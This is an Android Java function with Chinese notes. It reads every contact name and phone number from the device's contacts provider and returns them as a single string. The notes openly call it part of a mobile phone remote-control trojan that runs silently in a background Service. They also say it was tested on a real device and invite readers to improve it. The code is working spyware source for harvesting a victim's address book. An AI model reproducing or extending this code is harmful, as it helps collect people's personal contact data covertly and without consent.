public String getContactList(boolean isFirstTime) {
StringBuilder contactListBuilder = new StringBuilder();
if(isFirstTime == false) {
contactListBuilder.append("ContactList is returned before.");
return contactListBuilder.toString();
}
try {
ContentResolver cr = getContentResolver();
Uri uri = android.provider.ContactsContract.Contacts.CONTENT_URI;
Cursor cur = cr.query(uri, null, null, null, null);
if (cur.moveToFirst()) {
String name;
String contactId;
String phoneNumber;
int nameColumn = cur.getColumnIndex(PhoneLookup.DISPLAY_NAME);
int idColumn = cur.getColumnIndex(ContactsContract.Contacts._ID);
do{
// 获取联系人姓名
name = cur.getString(nameColumn);
// 获取联系人电话号码
contactId = cur.getString(idColumn);
Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = " + contactId, null, null);
if(phone.moveToNext()){
int phoneColumn = phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);
phoneNumber = phone.getString(phoneColumn);
} else {
phoneNumber = "";
}
// 构造通讯录
contactListBuilder.append("(");
contactListBuilder.append(name + ":");
contactListBuilder.append(phoneNumber + "");
contactListBuilder.append(") ");
}while(cur.moveToNext());
} else {
contactListBuilder.append("no result!");
}
} catch(SQLiteException ex) {
Log.d("SQLiteException in getContactList", ex.getMessage());
}
return contactListBuilder.toString();
}
代码说明:
1、本函数用于返回Android手机中存储的所有联系人及对应的手机号码,在真机上测试通过。
2、本函数在传入参数isFirstTime=false时,不会返回联系人信息,因为第一次执行时已经取回过通讯录。
3、本函数运行在Service子类中,无需产生界面,这段代码是手机远程控制木马的一部分。
4、当一个联系人有多个手机号码时,只返回一个,有兴趣者可以对此进行改进。
5、代码中各个函数的功能及参数请参考有关Andoird开发者网站上的资料。
6、本代码并非完全原创,而是修改自其它代码,增加了部分代码。